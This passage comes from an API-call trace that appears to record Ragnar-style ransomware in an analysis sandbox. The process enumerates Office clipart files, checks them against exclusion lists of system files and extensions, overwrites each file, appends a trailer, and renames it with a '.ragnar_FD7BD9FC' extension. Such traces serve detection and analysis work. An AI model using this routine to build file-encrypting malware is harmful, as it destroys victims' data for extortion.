nNumberOfBytesToLockHigh=0x0) returned 1 [0091.555] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.555] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.555] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.555] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.555] GetProcessHeap () returned 0x580000 [0091.555] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.555] CloseHandle (hObject=0xf4) returned 1 [0091.555] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" [0091.555] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.ragnar_FD7BD9FC" [0091.555] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.556] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0091.556] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.556] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00734_.WMF" | out: lpString1="SO00734_.WMF") returned="SO00734_.WMF" [0091.556] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF") returned=".WMF" [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="autorun.inf") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="boot.ini") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="bootfont.bin") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="bootsect.bak") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="bootmgr") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="bootmgr.efi") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="desktop.ini") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="iconcache.db") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="ntldr") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="ntuser.dat") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="ntuser.ini") returned 1 [0091.556] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="thumbs.db") returned -1 [0091.556] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.556] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.556] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.556] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.556] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.556] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.556] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf")) returned 0x20 [0091.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.557] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1632) returned 1 [0091.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x657, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.557] GetProcessHeap () returned 0x580000 [0091.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.557] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.558] VirtualAlloc (lpAddress=0x0, dwSize=0x660, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.559] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x660, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x660, lpOverlapped=0x0) returned 1 [0091.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x660, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.559] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x660, lpOverlapped=0x0) returned 1 [0091.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x660, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.559] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x660, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.560] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.560] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.560] GetProcessHeap () returned 0x580000 [0091.560] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.560] CloseHandle (hObject=0xf4) returned 1 [0091.560] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" [0091.560] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.ragnar_FD7BD9FC" [0091.560] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.561] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0091.561] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.561] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00735_.WMF" | out: lpString1="SO00735_.WMF") returned="SO00735_.WMF" [0091.561] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF") returned=".WMF" [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="autorun.inf") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="boot.ini") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="bootfont.bin") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="bootsect.bak") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="bootmgr") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="bootmgr.efi") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="desktop.ini") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="iconcache.db") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="ntldr") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="ntuser.dat") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="ntuser.ini") returned 1 [0091.561] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="thumbs.db") returned -1 [0091.561] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.561] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.561] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.561] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.561] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.561] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.561] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf")) returned 0x20 [0091.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1484) returned 1 [0091.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.562] GetProcessHeap () returned 0x580000 [0091.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.562] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.564] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.564] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5cc, lpOverlapped=0x0) returned 1 [0091.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.565] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.565] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5cc, lpOverlapped=0x0) returned 1 [0091.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.565] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.565] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.565] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.565] GetProcessHeap () returned 0x580000 [0091.565] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.565] CloseHandle (hObject=0xf4) returned 1 [0091.566] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" [0091.566] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.ragnar_FD7BD9FC" [0091.566] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0091.566] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.566] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00736_.WMF" | out: lpString1="SO00736_.WMF") returned="SO00736_.WMF" [0091.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF") returned=".WMF" [0091.566] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.566] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="autorun.inf") returned 1 [0091.566] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="boot.ini") returned 1 [0091.566] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="bootfont.bin") returned 1 [0091.566] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="bootsect.bak") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="bootmgr") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="bootmgr.efi") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="desktop.ini") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="iconcache.db") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="ntldr") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="ntuser.dat") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="ntuser.ini") returned 1 [0091.567] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="thumbs.db") returned -1 [0091.567] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.567] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.567] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.567] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.567] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.567] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.567] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf")) returned 0x20 [0091.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.568] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6220) returned 1 [0091.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1843, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.568] GetProcessHeap () returned 0x580000 [0091.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.568] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.570] VirtualAlloc (lpAddress=0x0, dwSize=0x184c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.570] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x184c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x184c, lpOverlapped=0x0) returned 1 [0091.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x184c, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.571] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x184c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x184c, lpOverlapped=0x0) returned 1 [0091.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x184c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.571] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x184c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.571] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.571] UnlockFile (hFile=0xf4, 